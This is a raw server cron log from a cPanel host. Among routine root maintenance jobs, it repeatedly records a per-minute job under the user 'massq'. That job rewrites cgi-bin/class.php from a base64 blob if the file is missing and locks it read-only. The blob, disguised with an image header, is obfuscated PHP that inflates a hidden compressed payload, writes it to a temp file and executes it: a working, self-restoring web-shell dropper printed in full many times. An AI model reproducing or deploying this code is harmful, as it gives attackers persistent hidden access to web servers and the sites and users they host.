Sep 12 00:44:01 server CROND[15852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:44:01 server CROND[15853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:44:01 server CROND[15854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:45:01 server CROND[16229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:45:01 server CROND[16231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:45:01 server CROND[16234]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:45:01 server CROND[16233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:45:01 server CROND[16236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:45:01 server CROND[16235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:45:01 server CROND[16232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:46:01 server CROND[17053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:46:01 server CROND[17054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:46:01 server CROND[17055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:47:01 server CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:47:01 server CROND[17426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:47:01 server CROND[17428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:48:01 server CROND[17803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:48:01 server CROND[17804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:48:01 server CROND[17805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:49:01 server CROND[18271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:49:01 server CROND[18272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:49:01 server CROND[18273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:50:01 server CROND[18710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:50:01 server CROND[18712]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:50:01 server CROND[18713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:50:01 server CROND[18719]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:50:01 server CROND[18716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:50:01 server CROND[18718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:50:01 server CROND[18722]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:50:01 server CROND[18721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:50:01 server CROND[18717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:51:01 server CROND[19543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:51:01 server CROND[19544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:51:01 server CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:52:01 server CROND[20031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:52:01 server CROND[20033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:52:01 server CROND[20032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:53:01 server CROND[20415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:53:01 server CROND[20416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:53:01 server CROND[20418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:54:01 server CROND[20785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:54:01 server CROND[20784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:54:01 server CROND[20786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:55:01 server CROND[21257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:55:01 server CROND[21259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:55:01 server CROND[21261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:55:01 server CROND[21264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:55:01 server CROND[21267]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:55:01 server CROND[21263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:55:01 server CROND[21266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:56:01 server CROND[22125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
